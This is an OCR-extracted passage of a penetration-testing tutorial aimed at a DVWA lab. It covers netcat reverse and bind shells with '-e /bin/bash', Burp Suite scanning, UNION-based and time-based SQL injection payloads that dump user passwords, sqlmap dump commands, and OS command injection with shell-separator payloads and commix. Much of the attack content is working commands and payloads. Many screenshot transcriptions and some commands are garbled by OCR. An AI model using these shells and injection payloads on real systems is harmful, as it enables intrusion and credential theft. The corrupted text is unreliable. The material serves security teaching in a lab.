the connection, which is a bash command /bin/bash:

# nc-nv 10.0.0.4 4444 -e /bin/bash

e When the connection is initiated, the bash command terminal will
run at Windows where we can write commands for the Kali Linux
machine remotely.

9. Example 7: In the bind shell, we open a port in the machine then we
connect to it. The attacker fires off an exploit and the exploit will open to the
attacker a port and it will be listening to him to connect at that specific port

and at the specific machine with netcat.



e |n our example the victim again is the Kali Linux machine that has IP
address: 192.168.223.128. The attacker is the Windows machine
with IP address 10.0.0.4 . The victim which is the Kali Linux machine
is listening to port 4444 through the netcat command and will run a
program after the connection, which is a bash command /bin/bash:

# nc -nlvp 4444 -e /bin/bash

¢ -nlvp 4444 -e fbin/bash
listening on [any] 4444 ...

connect to [192.168.223.128] from (UNKNOWN) [192.168.223.1] 26009

e The attacker which is the Windows machine will make connection to

the victim Kali Linux machine at port 4444 through the netcat
command:

#nc-nv192.168.223.128 4444




8. ADDING BURPS CERTIFICATE TO
BROWSER:

1. In this example | will show adding Burps Certificate to Firefox. Same will be
applied to other types of browsers. When you setup the browser to work
with Burp Suit, when we visit certain pages, we notice there is an error that
the connection is not trusted. We may receive other errors as well. The
browser does not trust the certificate generated by BurpSuite. You may get

also connection is not trusted error.

2. Go to BurpSuite “Proxy/Options” tab. Choose import/export CA certificate
option. Then choose “Export Certificate in DER format”. Export the certificate

to a file name with DER extension, as example “burp-cert.der”.
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3. Go to preference in Firefox browser. Then go to “Privacy & Security”
section. Then go to Certificates section. Then click “View Certificates”. Then

import the exported certificate from BurpSuite browser.
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4. In BurpSuite, go to the Proxy tab. Options Click edit under Proxy Listeners.
Go to HTTP tab. Uncheck Support HTTP/2.
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9. SETTING UP TARGET SCOPE IN
BURPSUITE:

1. When testing website, we want to add the site we are willing to test to
scope. Meaning that the website the burp is willing to interact with and run

tools on.

2. Any site we visit when intercept is on, it will be intercepted by BurpSuite.
To set scope right click on any of the content in the screen but you can also
go to target tape and see the sites that you visited and choose the one you

want to include in scope.

3. If we right click on the website we want to test and choose add to scope
we notice in scope tab rules automatically created adding that to target
scope. You can also add sites manually by typing on the domain or IP and

port.
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4. Now there are sites in scope. We can go to tools such as proxy to take
advantage of this feature. Go to proxy options where we can configure the
rules for intercept. We can use the URL in the target scope for requests and
responses. We can also move the rules up so to take precedence over other

rules.
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5. In this tutorial. added localhost/dvwa in target scope. . In the “Target/Site

Map”, we can filter then the site map to show only items in scope.
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6. To set the intercept on, set the intercept on from “Proxy/Intercept” tab.
When we visit the website in the target scope, it should.be intercepted
because we set it in scope. If you visit website that is not in scope, that
website will not be intercepted because it is not in scope. You can also scan

the website in the target scope while the intercept is off.
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10. SCANNING USING BURPSUITE:

a)_ Crawl and audit scan of a website:

1. The scan is only available in the professional version. | get the trial version

of Professional BurpSuite.
2. In the dashboard, choose new scan. You will get the following dashboard.

3.1 chose to scan http://localhost/dvwa and the scan type “Crawl and audit”.
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4. Go to “Configuration” tab. You need to setup the scan configuration. |

Chose “Deep” scan.
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5. In the “Application login” page, | added the login credential to DVWA
dashboard, Username:admin, Password:password.
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6. Then the “Resource Pool” tab, | used the default resource pool.
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7. Select “OK” to start the scan. You can see the scan progress under the
“Scan” tab in the dashboard.



3. Crawl and audit of localhost

Details Live crawl view Audit items Issue activity Event log Logger
Task details
Scan type: Crawl and audit
Scope: localhost
Configuration: Crawl and Audit - Deep
Issues: (4 K17 X672
Requests: 71,088
Errors: 33
Unique locations: 89
Auditing. Tm estimated time remaining.
Currently auditing: http:/flocalhost:80/robots.bxt
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8. Generating a report:
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Select the relevant issues. Go to the Target > Site map tab, right-click on the

entry for https://localhoat/dvwa, and select Issues > Report issues for this

host.



A wizard guides you through various options, such as which file format to
use, how much detail to include, and so on. For now, just click Next to accept
the defaults until you're prompted to enter a filename and location for the

report.

Click Select file and choose a location where you want to save the report.

Enter a name for the file.

Burp Scanner reporting wizard v O X

@ Select the types of issues to include in the report.

Password submitted using GET method [1)
Frameable response [potential Clickjacking) [1]
Cross-domain script include [1]

User agent-dependent response [2]

SQL injection [1)

Client-side desync [1]

Input returned in response [reflected) [15]
Spoofable client IP address [2]

Link manipulation (reflected) [3]
Referer-dependent response [2]

g File upload functionality [1]

: Cross-site scripting (DOM-based) (1)
Cross-site request forgery [6)
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Selectall | Select none
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9. This is an example of a scan results for one SQL injection.




[ Issues

®/[sQ injection |
0 Cross-site scripting (DOM-based)
> @ Cross-site scripting (reflected) [16)
() Client-side desync
! Session token in URL
@ Password submitted using GET method
> ﬁ Input returned in response (reflected) [24]
) Cross-domain script include
© File upload functionality
» (i Path-relative style sheet import [21]
» (i Referer-dependent response [2]

tx
| Advisory Request Response

Pretty Raw Hex B \n

POST Sdvwa/secup.php/lBZlB83813"'%200r%20419443d41594-=-%20 HTTP/Ll.1
Host: localhosc

Accept=-Encoding: gzip, deflate

Aeccept:

oin fad Bk pen

@

cexc/heal, applicacion/xheal+xnl  applicacion/xal;q=0.9, inage/avit, is
age/Swebp, image/apng, */*iqe0.8, application/signed=-exchange ;v=h3;q=0.

8

Accept=Language: en=US;q=0.%,en;q=0.8

User=Agent: Mozilla/5.0 (Windows NT 1l0.0; Win&d; x&4)
AppleWebKit /537,36 (FHTHL, like Gecko) Chrome/l09.0.5414.75
Safarif537.36e

Conneccion: close

Cache-Control: max-age=0

Cookie: PHPSESSID=4d8fugblécOjdiqicacgepdd04dlk; securicy=impossible
Jrigin: htep: //localhost

Upgrade=-Insecure-Requeses: 1

Referer: hoeop:/Slocalhese/duvwa/secup. php

Contentc=Type: applicacion/x=www=form-urlencoded

Sec-CH-UA: "“.NHoc/A)Brand® ;v="93" “Google Chrome®;ws"1l03°%,
*Chromiun® jv="109"

Sec-CH-UA-Plat form: Windows

Sec-CH-UA-Hobile: 70

Content-Length: 79
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b) Live scan:

1. Live tasks are used to process the traffic from specific burp tools and

perform defined actions on them

2. To create live task, on the dashboard click on “new live task”. You must
define the task type. Two options, which is the “Audit” which performs the

|II

vulnerability scan or “passive crawl” which adds entries to target site map.
You can define the tool scope which means the tools whose traffic to select
items that re processed by the live tasks. You can choose proxy, intruder and
repeater. You can configure the URL scope and this defines which tasks are
processed by live task based on the URL. You can configure the task to
include everything or to use the sweet scope. If you can define one or you
can define custom scope just for this task. You can also configure whether
you want to duplicate items that have been seen before based on the URL
and parameter names. So for some live tasks it will be wasteful to repeat

same action again.



) Task Type

Scan details

Q L audit Chaose predefined task... b
) Live passive crawd
Stan
condiguration Tools Scope
C . ,
Ry Select the 1ools whote ralfic wall be inspedted to select items that are procesied by the live Lok
peol Fraxy Repeater Intruder

URL Scope
Defing which items are procediod by the I task, bated on their URL.

O Evensthing
Suite scope
Custom scope

Deduplication

Select whelhgr ifems to be prodesied are deduplicated bajed on their URL and parameter names. Uie this option o
awold proceising the same tem more than once.

il

Ig plicate items bated on URL and parameler namet

@) oK Cancel

3. In the configuration section you can configure other options that are

applicable to live task.
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2] Scan Configuration

Scan details Scan configurations and modes are groups of seltings that define how a scan is performed. Scan modes offer preset

oplions designed to let you trade off fpeed and covtrage. Alternatively, you can select one or more cuslom

@ cenfigurations, Burp Scanner applies sny selected configurations in arder, énabling you Lo fine-tund SCanning
behaviaur.

Scan

configuratien

" New ..
Retource Hame Functiens Built in

Impont

Select from library

@ QK Cancel

4. You can also configure the resource pool which affects how many requests

can be made by this task in parallel

5. | created new live task and | setup the tools whose traffic will be inspected
as the Proxy only, and | setup the scan configuration to Audit critical issues

only.

6. Through the embedded proxy just visit the interested URLs and turn off
the interception of the proxy so all traffic pass through. In dashboard you can
see the number of requests has been made by this task and we can see the
number of issues being reported . And if | browse around some of the URLs,

we can see more requests happening and more issues being reported.



7. If you choose the live “passive crawl” live task option, this option is used

to add items to target site map.



c)_Active and passive scan:

1. Other way to do scan Passive or Active scans is from “Target/Sitemap”.
Select the website branch that you want to make active or passive scan, and
right click on it. Choose the scan option whether Active or Passive Scan. In
this image, | chose to do passive and active scan for the
http://localhost/dvwa/ branch.
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2. The scans will be added to dashboard tasks.
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d) Scanning http://localhost/dvwa/:

1. | applied all types of scans of http://localhost/dvwa/.

e Crawl and audit of http://localhost/dvwa/.

e Live audit of Proxy (all traffic) for http://localhost/dvwa/.

e Live passive crawl of Proxy (all traffic) for http://localhost/dvwa/
e Active scan of http://localhost/dvwa/

e Passive scan of http://localhost/dvwa/
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11. SCAN RESULTS FOR SQL INJECTION
VULNERABILITY WITH BURPSUITE AND
USING SQLMAP TO EXPLOIT THE SQL
INJECTION:

a) SQL injection definition:

1. A SQL injection attack consists of insertion or "injection" of a SQL

query via the input data from the client to the application. A successful SQL
injection exploit can read sensitive data from the database, modify database
data (insert/update/delete), execute administration operations on the
database (such as shutdown the DBMS), recover the content of a given file
present on the DBMS file system (load file) and in some cases issue
commands to the operating system. SQL injection attacks are a type of
injection attack, in which SQL commands are injected into data-plane input
in order to affect the execution of predefined SQL commands. This attack
may also be called "SQLi".

2. When an attacker executes SQL injection attacks, sometimes the server
responds with error messages from the database server complaining that the
SQL query's syntax is incorrect. Blind SQL injection is identical to normal
SQL Injection except that when an attacker attempts to exploit an
application, rather than getting a useful error message, they get a generic
page specified by the developer instead. This makes exploiting a potential
SQL Injection attack more difficult but not impossible. An attacker can still
steal data by asking a series of True and False questions through SQL
statements, and monitoring how the web application response (valid entry
returned or 404 header set)."time based" injection method is often used

when there is no visible feedback in how the page different in its response



(hence it’s a blind attack). This means the attacker will wait to see how long
the page takes to response back. If it takes longer than normal, their query
was successful. So, exploiting it is somehow difficult because of not getting
error messages, but it is same as the normal SQL injection except how we
are going to detect it. Once detect it, we can use similar queries used

previously.



b) Manual exploitation of SQL injection without
using any tools:

1. In this example, I will show you how to manually exploit SQL injection and

dump the entire database without using any tool. The DVWA page
http://localhost/dvwa/vulnerabilities/sgli/ has SQL injection vulnerability. Enter

numerical user ID and it will execute some query in the backend database and it
will provide us with an output. It will provide us with the data associated with
the user ID.

O D locathest y =

= Vulnerability: SQL Injection

Setup | Roset DB User ID: Subenit

.sma- Force ]
€seF 000 |
File Inclusion | More Information
Filo Upload |
Insocure CAPTCHA

|
LSS (OO |
{53 (Soomd),
iaveSeript

e What is actually happens, in the back end a query like this: “SELECT
first name, last name FROM table where user id="$id’. $id’ is the id
we are passing in the input field. These single quotes are used for
comparison. If we pass something for user id as single quote or double
quote, this will make SQL injection and we get error message. That is
the easiest way to find and detect SQL injection. I got the error when

entering sing quote (‘) as user id.


http://localhost/dvwa/vulnerabilities/sqli/
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e If we put (‘ or 1=1#) this will make the condition true and the query
will show all users. I tried the payload (* or 1=1#), and I got the
following output: S we now know that the query is returning two

columns.

O D locathost/dvsafinesatilities s {83052 T LSubmit = Submitd & 2

Vulnerability: SQL Injection

Instmctiong
Satup [ Resst DB

User 1D Submat |

|

|

|

Brute Force |
Command Injection |
|

|

|

|

C5RF
File Inclusion
File Upload

|
|
K55 [DOM) |
|
|

e At this point we know that the server is vulnerable and we are able to
retrieve data of some users. Now our goal is to sump their passwords.
We need to determine how many columns the current SQL is returning.
We do this by order by clause. If we try the payload (‘ or 1=1 order by
4#) we get error. If we try the payload (‘ or 1=1 order by 3#) we get
error we will use this query: (° or 1=1 union select null, null from
information_schema.tables#). The union clause will concatenate
another SQL query with the preceding one so we will be executing two

queries simultaneously. So we are just selecting null, null from the



information_schema, and for MySQL like data bases all information of
the databases are stored in the information schema. So we are going to
use tables from the information schema and this contains some
variables such as table name and the table name handy for us to retype
the tables in the current database. So let’s run the payload (‘ or 1=1
union select 1, 2 from information schema.tables#). We get the

following output:

O D locathost | sor+] . B

e Vulnerability: SQL Injection

Setup [ Resot DB User ID Sulerat

 In the last raw it says first name is 1 and last name is 2, and that means

the query is returning two columns

e [f make the payload: (‘ or 1=0 union select 1, 2 from
information_schema.tables#). That makes the first query is false and it

returns only the output of the second query.



QD lcahost/dewa

Vulnerability: SQL Injection

Home
Instructions
(Sepl sl g

User 1D Submi

10 * or @=l uniom select 1,2 from informatfon_schesa. tabless

|
|
|
|

Brute Force

Command In]u:dnal

CSRF
File lnclusion | More Information

AL |

Insacure CAPTCHA

RRK PO IO
xsspow |
pEaEalleriedl)d |
XSS (Stared) |
seStEvpa
JavaScript

e Now we can proceed to determine the tables in the current database and
we will use table name variable in the payload: (‘ or 1=0 union select
table name, 2 from information schema.tables#). And the query will
print all the tables in the current database. Here the output of the
payload: (* or 1=0 wunion select table name, 2 from

information_schema.tables#)



CF O Iocalhost/dhwaeuinerabiiities/sqll/Tid="+or« %301 + union+sefect + table_name%2C2 +from +information_sc B &

Home | Vulnerability: SQL Injection
Instructions |
Setsp | Reset DB | Wsar 1D Sutrm.rl

IR ° or @el unign select table_nese,l from inforsmation schess, tabless

First neme: ALL_PLUGTIS

Brute Force

c ﬂdrﬂ]ﬂﬂ]ﬂﬂ. SurnaEg: ]
Firgt name: APPLICABLE ROLES

File Inclusion Surnase: 2
File Upload

Insecure CAPTCHA

pi:H or @=1 unlon select Table naee,l from Inforsatlon schesa, tabless

CSRE | ID: * or 8=l uniom select table nawe,2 from information schesa.tabless
I First newe; CHARACTER SETS
d

Surname: I

ID: ° or @l union select table nase, ) from information_sichesa. tabless

First name: CHECK _CDMSTRAINTS

SQL Injection (Blind)

Surnase: I

Weak Session IDs ) ’ . ) )
- - - ID: " or 8sl wnion select table neme,? from information_schesa.tabless
xssm First maws: COLLATIDNS
¥55 (Reflacted)
ID: ° or @=1 uniom select table nese,T fros inforsation _schess, tabless

ESASlonsd)
[EEE T past
Java Script

First nase: CDULATION (HARACTER SET_APPLICABILITY

Surname: I

ID: " or @=1 union select table_newe,? from inforsation schess.tsbless
First nase: COLLMNS
Surnang: 2

| Surnase; I

DVWA Security |

e So that it shows all tables in the current database. We go table with the
name “users”. And in that table the information of users is stored. Our
next task is to identify the columns in the users table. Now we need to
use the payload: (* or 1=0 union select column name, 2 from
information_schema.columns#). That will print all columns in the

current database:



U O localhostidvwarvulnerabilities fsolTids "+ or+ 1%3 D0+ Union = sesect+ 00 i -name® 2 C 2 +fngm+information_ s B i

P . Vulnerability: SQL Injection

Instructions |
Seiup | Reset OB | User 1D Suberil
I " ar le@ unien gelect colusn nase,Y Tros inforeation schess, colusnss
Brusta Force | First nase: PLUGTH I6SHE
Surnamer 2
Command Injection |
CSRF | 0t ' ar 1@ unlon select colusn_nase,2 from inforsation_schesa.colusnss
Firet nase:! PLLSGIN VERSTON
File Inchusion | Surname;
Fh“ph.d | Ior ' ar 1«8 unlon select column_name,2 from information_schess.columnss
. Flrst nissg: PLLGTN STATUS
Insacura CAFTCHA | Syediiitigs
=L inlactios . ) .
|--~- ilak b et | Io: ' or 18 union select column_nase,? from information_schesa.colusnss
First name: PLUGIN T¥PE
L Injection (Bl . -
m ] ln ﬂd} | Surnase: 2
Weak Session [Ds | : : ;
_— — 10c * ar 1=@ union select colusn_nase,2 from inforestion_schess.colusnse
XS5 [DOm) | First mame: PLUGIN_TYPE_VERSION
R Surnase: 3
NES Iafiocini] |
Iz " ar 1=@ union select colusn_nase,l from information_schesa.colusns
K55 |Sated) | First nase: PLIXGIN LIBRARY

e [f we use the payload: (* or 1=0 union select column name, 2 from
information_schema.columns where table name=’users’#). That will

print all columns in the current database for only the table users:

s . Vulnerability: SQL Injection
|

Instructions
Setup | Reser DB | User i | Submit
i " or I=0 undon select 1 from Information schema.columst where table nese="
Brute Force 1 At Admb: uder §d
E' = I I Surhinset 1
CSRE | Ip: ' or 1= unfom select column nese,? from inforsmaticm schess.colusns where table names'ligers's
1 Elrit nase: Flrit name
File Inclusion | Surnaze: I
Fia Uph.d | ID: ' or 1=8 uniom select colusn_name;? from informatice_schems.colusns where teble_nases'lisers's
o First nase: last_nese
Insecire CAPTCHA | ri
E e Fult ID: ' or i=8 unlew zelect colusn_nase,) fros [nforsatios schess.colusns where table nases'lisers's
sal | ] Fhrat name! uses
__.’.'J‘E“_""_@“"q : Surnaser I
Weak Session I0s
= I IB: ' or i=8 undon select colusn_name,d From inforsatice_schesas.colusni where table nase='laers's
XS5 {DhORA) I FEFLr name: pagdward
Swrnbme:
K55 FRafected) |
7 1 ID: ' or 10 unicm select colusn nbwe,l Fros inforsatices schesd.colusns where table nases'|secs'S
K55 (Seoed) | FLeuE D S
CSP Bypass | Sarnsae:
J.“-.M | ID: ' or 10 undom select colusm_neme;2 fros inforsatics_schess.coluens where table_names'lisers's
- . : last_login
1
DVWA Security |
- - o @® 1=8 unlew select colusa nease,l Tros laforsatlon schesas.colusnd whire Teble nase-'laers's
PHP Indo | First nase: failed_login
= = 1 Swrnawe; 1
About |




e Our focus is to print the first name and password columns from the
users table. So our payload: (‘ or 1=0 union select first name, password

from users#). Here the output when executing the payload:

‘ or 1=0 union select first name, password from users#

U D localhost/cvwa " | tbdnct i RrEt nam e ars¥%as . B o

SOL Injection (Blind) |
Weak Session 1Ds I
_xss kL1 |
|
|

K55 (Reflected)
XS5 [Stored)

e Similarly, you can dump all the data in the database.

2. This example is to demonstrate how we can detect SQL injection
vulnerability even in those websites which do not display SQL syntax errors.
The DVWA page http://localhost/dvwa/vulnerabilities/sqli_blind/ has blind
SQL injection vulnerability. If we type (*) we don’t get error message. Blind
SQL injection means that instead of getting error messages, it shows nothing.
That will make difficult to detect SQL injection vulnerability. In order to find
whether the SQL injection vulnerability 1s still there or not, we need to use
time-based values. Instead of trying normal SQL queries such as the payload (*
or 1=1#), that will not tell us whether the application is vulnerable to SQL

injection. Instead we need to use time-based queries such as: (° or sleep(5)#), it



will make the database sleep for 5 sec. If we see delay in response, that means
query is successful. If we try the traditional queries, we will get same results.

As example the payload (‘ or 1=1#),



c) Installing SQLMAP in Windows:

1. SQLMAP is an open-source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over of
database servers. It comes with a powerful detection engine, many niche
features for the ultimate penetration tester, and a broad range of switches
including database fingerprinting, over data fetching from the database,
accessing the underlying file system, and executing commands on the
operating system via out-of-band connections.

2. Download and install Python in Windows system. Download Python from

https://www.python.org/downloads/windows/

3. Download SQL map from https://sqlmap.org/ and extract it in a folder.

Name the folder sglmap.
4. Under the sglmap folder, run sqlmap with the command sqlmap.py
> sglmap.py -h

5. The following available options when using SQLMAP command



BN Command Prompt - sglmap.py --help

11t "BEUS




enumerate the K-2nc

structure and data

columns

LA L

Enume

mp

Prompt
Prompt




d)_Scan results for SQL injection vulnerability
with BurpSuite and using SQLMAP to exploit
the SQL injection:

1. | am using the scan results for DVWA App installed in Window on this
tutorial with the link address http://localhost/dvwa and the DVWA security

set to low.

2. Select SQL injection issue from the scan result of http://localhost/dvwa/. |

selected SQL injection from the live audit
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3. Copy the SQL injection request to a file. | named the file dvwasqll. This

how it looks:


http://localhost/dvwa
http://localhost/dvwa/

demdip i1 - Vigtepad
Fie (84 Fiemal YVea Halg
GET Jévusleglnerabllitienrigl L tld=123" Rtmit=Sutmit HITR/. 1
HailE: Jocalhaat
sesehpal “Chroalua™w="100"  "Hat A Bresd” oy="90"
i B-mi-molilel M
i Mmd-platfora: “Hlsdoed™
Upnp el = Ims edurd - Raguestsr 1
Urer-dgent: Mozilla/5.0 (Wirdows WT 10.9; sirdd; obd) Spplelebait/300, 06 (weTEL, like Gecko) Crrcme/TiS.0.5414.75 fafarl /5070
Aooept: text /el spplicat len/shinlsmm] soplicatlion/on];g=0.%, inage/avif, Insge fuebo, nage faomg " ™ (=0, B, 400 ] 1ot Lon/ 1] prad - ext hange  v=bl;g=0. 9
Sac-Tatch-Site: same-origin
Src-Fauch-Mode! navigane
SecFetch-User: F1
Sec-Feloh-Deil] doousent
Referer: Bitp:// localbant iveavulnerabl 10t led /vqlls
accept-Indoding: gilp, =¢fiate
Adpaph -language: on- 08, on-USie=0. T, 60 g=8. 8
Copkle: PHPSESSTO-y] Sadid ook Jvn i Telond |5 ns; securlny=low
S U HES T

5. | copied the file in the SQLMAP folder. In the sglmap command, write the

following command to list the databases:

> sglmap.py -r dvwasql1--dbs

| got the available databases:

6. We can manually enter the command parameters:

o

> sglmap.py -u http://localhost/dvwa/vulnerabilities/sqli/?
id=123'&Submit=Submit” --cookie
“PHPSESSID=ui9m0893hokjvhj7tlcn9j53b5; security=low” --dbs

7. To enumerate the tables in the database DVWA
> sglmap.py -r dvwasqgll -D dvwa --tables

| got the following tables in the database DVWA:



[ueb application 1'e-hru:llug-':
H ba-P end DBMS: MySQL »>= (
11 | +Etuhlhﬂ tabler for database: 'dvwa’

8. To get the columns in the users table in DVWA database, use the following

command:
>sqlmap.py -r dvwasgll -D dvwa -T users —columns

] .

splication tec hlﬂ ogy:

n database "dvwa’

D O 5
[

—

Column

user
avatar

first namy
last login

9. To dump the information in the users table in DVWA database, use the

following command:

> sqglmap.py -r dvwasqll -D dvwa -T users —dump






€) SQLiPy SQLMap integration:

1. SQLMap is embedded within the extension SQLIiPy; it will be automatically
configured, so you can click Start API. In some cases you may need to
manually adjust the configuration or run the SQLMap API manually. Once the
SQLMap APl is running, you just need to right-click in the 'Request' sub tab of
either the Target or Proxy main tabs and choose 'SQLiPy Scan' from the
context menu. This will populate the SQLMap Scanner tab with information
about that request. Clicking the 'Start Scan' button will execute a scan. If the
page is vulnerable to SQL injection, then these will be added to the Scanner
Results tab.

2. This extension integrates Burp Suite with SQLMap. Requirements:

e Jython 2.7 (up to 2.7.2) DO NOT USE Jython 2.7.3, it has a bug that
will cause the extension to fail

e Java 1.7 or later (the beta version of Jython 2.7 requires this). Note:
Newer versions of Java do appear to work. Testing with jdk-11.0.7
works fine and newer versions are expected to work as well.

e Arunning instance of the SQLMap API server.

3. Download Jython jar file from https://www.jython.org/download.html . Go
to Extensions/Options” page and put the location of the downloaded Jython

jar file in the Python Environment section.
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4. From the “Extensions/BApp” store, install SQLiPy SQLmap extension from
BApp store..
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5. Then new “SQLIiPy” tab is added. From “SQLiPy/SQLMAP” API start the
SQLMAP API.
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6 Select SQL injection issue from the scan result of http://localhost/dvwa/. |

selected SQL injection from the live audit
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7. Right click in any Request section. From “Extension/SQLiPY” select the

request the request to SQLIPY scan.


http://localhost/dvwa/
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8. The SQL injection request parameters will be automatically transferred to

“SQLIPY/SQLMAP”. Select the information you want to retrieve about the

databases. Then select “Scan”
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9. Start scan. You can get the scan results in the “SQLiPY/SQLMap Logs” tab.
Select “Get” to get the scan result. INFO: Fetched data logged to text files
under 'C:\Users\hp\AppData\Local\sglmap\output\localhost'
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10. You get the scan results in the “SQLiPY/SQLMap Scan Stop”
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11. The following scan results was obtained in the log file stored in

'C:\Users\hp\AppData\Local\sqlmap\output\localhost'

banner: °'10.4.27-MariaDB’

[ "dvwa’, 'information_schema', ‘'test']
available databases [3]:

[*] dvwa

[*] information_schema

[*] test




12. SCAN RESULTS FOR OPERATING
SYSTEM COMMAND INJECTION
VULNERABILITY WITH BURPSUITE AND
USING COMMIX TO EXPLOIT THE OS
COMMAND INJECTION:

a)_ 0S command injection definition:

1. The purpose of the command injection attack is to inject and execute
commands specified by the attacker in the vulnerable application. In
situation like this, the application, which executes unwanted system
commands, is like a pseudo system shell, and the attacker may use it as any
authorized system user. However, commands are executed with the same
privileges and environment as the web service has. Command injection
attacks are possible in most cases because of lack of correct input data
validation, which can be manipulated by the attacker (forms, cookies,
HTTP headers etc.). The syntax and commands may differ between the
Operating Systems (OS), such as Linux and Windows, depending on their
desired actions. This attack may also be called "Remote Command
Execution (RCE)".

2. OS command injection is also called as shell injection is a web security
vulnerability that allows an attacker to execute arbitrary operating system
on the server that is running an application, and typically fully compromise

the application and its data.

3. Remote code execution vulnerability allows remote attackers or hackers

to run arbitrary commands on remote server. So it allows to remotely



execute the code.



b) Manual exploitation of OS command
injection:

1.1 am using the scan results for DVWA App installed in Linux on this tutorial
with the link address 192.168.223.128/dvwa-linux/ and the DVWA security

set to low.

2. Go to page http://192.168.223.128/dvwa-linux/vulnerabilities/exec/. You
can see from the source code of the page, why that happens. The
administrator allows the user to pass some arguments. In this case it passes
the argument for IP entered by the use and it is stored in variable Starget. In
this example the PHP function called shell_exec which simply takes string
and executes the command and executes the command and stores the result
to Scmd variable. So no sanitization on this variable target. It basically having
this ping string and when we pass some input as 127.0.0.1 the command will
become “ping 127.0.0.1” and stores the result in the variable “Scmd”. The
vulnerability here that the system allows us to concatenate in single line with
some commands. So we can concatenate many commands by using symbols
such as: “&”, “;”, “|”. So we can write anything we want in the command to

execute and it will give us the results.



Command Injection Source
vulnerabilities/exec/source/low.php

<?php
if( isset( $S_POST[ ‘Submit’ ] ) ) (

$target = $_REQUEST[ ‘ip" ];

if( stristr( php_uname( "s' ), '"Windows NT' ) ) {

$ced = shell _exec( ‘ping ' . Starget );

}
else {

$ced = shell exec( "ping -c 4 ' . $target );
}

echo "<pre>{$cad}</pre>";

3. As example lets concatenate the commands “127.0.0.1 & Is /etc” in the
command box of the page http://192.168.223.128/dvwa-
linux/vulnerabilities/exec/. | got the following results for listings of the /etc/

folder on Kali Linux:



Vulnerability: Command Injection

Ping a device
Enter an IF address: | | Subenit |

EEEECESI | su 127.0.0.1 (127.0.0.1) 36(84) bytes of duca.

Command Injection &4 bytes from 127.8.9.1: iosp sequl ttlsfd timesd.9219 ns
Imagetlagick-6
HadesHanager

lietworkManager
Filo Inchusion | GoBcoatasaurcen
i ciiie LAH '

arp-scan
avahi

bash, baghee
bash_completion
bash_cespletion.d
bindreswvport.blacklist
binfmt.d

4. These are the symbols that mostly used for command line injection:

II&H ” &&H 7. .nn | | ” II#II
7 77 7




c)__ Using_the BurpSuite Intruder for OS
command injection:

1.1 am using the scan results for DVWA App installed in Linux on this tutorial
with the link address 192.168.223.128/dvwa-linux/and the DVWA security

set to low.
2. You can get the Linux and Windows Command Injection Payload List from
https://github.com/payloadbox/command-injection-payload-list

Choose from the Linux and Windows commands the desired commands you
would like to use in Linux or Windows system. Update the commands

parameters according to your requirements .

3. Scan http://192.168.223.128/dvwa-linux using BurpSuite. Go to OS

command injection that detected by BurpSuite scanner. | chose the OS

command injection issue.

4. Right click on the request of the OS command injection issue and send it

to intruder.

9. This is the request under the “Intruder/Positions” tab:
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10. | cleared all positions and | added a tag to the IP field only:

11. From “Intruder/Payloads” tab, | used “Sniper” stack type. | submitted a

Windows command injection payload list for “Position 1” to try. Then |

started the attack.



@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Gult; i--# execie20omd= &quot;/Din/cat3e20/...
Load ... &ult:!--# exe 36 20cmd= Biquot:/bin/cat3520/...
EIR— Bty --= exec3e20cmd= &qguot: /usr/bin/id; --...
Gt --=exece20emd=&quot: /usr/binfid:--...
Clear Jindex.htmljid|
ryrm——
eduplicate -id
:netstat -a:
Add
Add from list ... b

@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled Rule
Edit

Remove
Up

Down

You can check the output of each command in the file from
“Response/Render” tab if there is valid output for the command. For

example, this is the output for command “|ipconfig”
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Vulnerability: Command Injection

Ping a device
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d) Operating system command injection using
Commix:

1.1 am using the scan results for DVWA App installed in Linux on this tutorial
with the link address http://192.168.223.128/dvwa-linux/ and the DVWA

security set to low.

2.1 am using Linux installed in VMware to install Commix tool.
3. Commix tool available in
https://github.com/commixproject/commix

Install the Commix in the Linux using the command:

# apt-get install commix

4. The command “commix —help” will show all commix commands:


http://192.168.223.128/dvwa-linux/




Request:
These coptions can be wused to specify how to connect to the target URL.

d DATA, --data=.. Data string to be sent through POST.
-host=HOST HTTP Host header.
referer=REFERER HTTP Referer header.
user-agent=AGENT HTTP User-Agent header.
-random-agent Use a randomly selected HTTP User-aAgent header.
-param-del=PDEL Set character for splitting parameter values.
-cookie=CO0OKIE HTTP Cookie header.
-cookie-del=CDEL Set character for splitting cookie wvalues.
H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.8.8.17).
-headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123").
- - proxy=PROXY Use a proxy to connect to the target URL.
tor Use the Tor network.
-tor-port=TOR_P.. Set Tor proxy port (Default: 8118).
-tor-check Check to see if Tor is used properly.
—auth-url=AUTH_ .. Login panel URL.
-auth-data=AUTH. . Login parameters and data.
-auth-type=AUTH. . HTTP authentication type (e.g. "Basic' or "Digest').
—auth-cred=AUTH. . HTTP authentication credentials (e.g. "admin:admin").
gnore-code=IG. . Ignore (problematic) HTTP error code (e.g. 491).
force-ssl Force usage of SSL/HTTPS.
ignore-redirects Ignore redirection attempts.
=timeout=TIMEOUT Seconds to wait before timeout connection (Default:
3a).
-retries=RETRIES Retries when the connection timeouts (Default: 3).
-drop-set-cookie Ignore Set-Cookie header from response.

Enumeration:
These options can be used teo enumerate the target host.

all Retrieve everything.

-current-user Retrieve current user name.

-hostname Retrieve current hostname.

-is-root Check if e current wuser have root privileges.
-is-admin Check if the current user have admin privileges.
-sys-info Retrieve system information.

-users Retriewve system users.

passwords Retrieve system users password hashes.
privileges Retrieve system users privileges.

-ps-version Retrieve PowerShell®s wversion number.

File access:
These options can be used to access files on the target host.

file-read=FILE.. Read a file from the target host.
--file-write=FIL.. Write to a file on the target host.
- -file-upload=F . Upload a file on the target host.

file-dest=FILE.. Host"s absolute filepath to write and/or upload to.

Modules:
These options can be used increase the detection and/for injection
capabilities.

-shellshock The "shellshock® injection module.

Injection:
These options can be used to specify which e to inject and to
provide custom injection payloads.

-p TEST_PARAMETER Testable parameter{s).
==skip=5SKTI PARA . . Skip testimg for given parameter(s).
FIX Injection payload suffix strin
FIX Injection payload prefix
TECH Specifty injection tech
-skip-technique.. Specify injection technique
-maxlen=MAXLEN Set the max length of output for time-related
injection techniques (Default: 18688 chars).
-delay=DELAY seconds to delay bete 1 each HTTP regquest.
-time-sec=TIMESEC Seconds to delay response (Default:
tmp-path=TMP_P.. Set the absolute of web server's temp
-web-root=WEB_R. . set the web server document root (Jir‘t—ic'.(.'r'_l,-
